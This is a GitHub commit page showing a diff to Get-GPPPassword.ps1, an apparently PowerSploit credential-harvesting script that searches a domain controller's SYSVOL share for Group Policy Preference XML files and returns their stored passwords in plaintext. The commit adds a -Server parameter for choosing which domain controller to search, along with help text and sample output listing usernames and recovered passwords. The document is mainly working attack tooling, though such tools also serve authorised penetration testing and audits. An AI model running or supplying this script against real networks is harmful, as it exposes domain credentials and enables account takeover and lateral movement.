Skip to content

Commit 869badc

Browse files
authored
Merge pull request PowerShellMafia#168 from linuz/master
Added ability to specify domain controller to search (-Server parameter)
2 parents 0cff698 + 87630ca commit 869badc

File tree

1 file changed

+30
-6
lines changed

1 file changed

+30
-6
lines changed

Exfiltration/Get-GPPPassword.ps1

Lines changed: 30 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,12 @@ function Get-GPPPassword {
1212
1313
.DESCRIPTION
1414
15-
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
15+
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
16+
17+
.PARAMETER Server
18+
19+
Specify the domain controller to search for.
20+
Default's to the users current domain
1621
1722
.EXAMPLE
1823
@@ -42,6 +47,21 @@ function Get-GPPPassword {
4247
UserNames : {DEMO\Administrator, admin}
4348
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
4449
50+
.EXAMPLE
51+
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
52+
53+
NewName : [BLANK]
54+
Changed : {2014-02-21 05:28:53}
55+
Passwords : {password12}
56+
UserNames : {test1}
57+
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
58+
59+
NewName : {mspresenters}
60+
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
61+
Passwords : {Recycling*3ftw!, password123, password1234}
62+
UserNames : {Administrator (built-in), DummyAccount, dummy2}
63+
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
64+
4565
.EXAMPLE
4666
4767
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
@@ -63,7 +83,11 @@ function Get-GPPPassword {
6383
#>
6484

6585
[CmdletBinding()]
66-
Param ()
86+
Param (
87+
[ValidateNotNullOrEmpty()]
88+
[String]
89+
$Server = $Env:USERDNSDOMAIN
90+
)
6791

6892
#Some XML issues between versions
6993
Set-StrictMode -Version 2
@@ -109,7 +133,7 @@ function Get-GPPPassword {
109133
function Get-GPPInnerFields {
110134
[CmdletBinding()]
111135
Param (
112-
$File
136+
$File
113137
)
114138

115139
try {
@@ -204,10 +228,10 @@ function Get-GPPPassword {
204228
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
205229
throw 'Machine is not a domain member or User is not a member of the domain.'
206230
}
207-
231+
208232
#discover potential files containing passwords ; not complaining in case of denied access to a directory
209-
Write-Verbose 'Searching the DC. This could take a while.'
210-
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
233+
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
234+
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
211235

212236
if ( -not $XMlFiles ) {throw 'No preference files found.'}
213237

0 commit comments

Comments
 (0)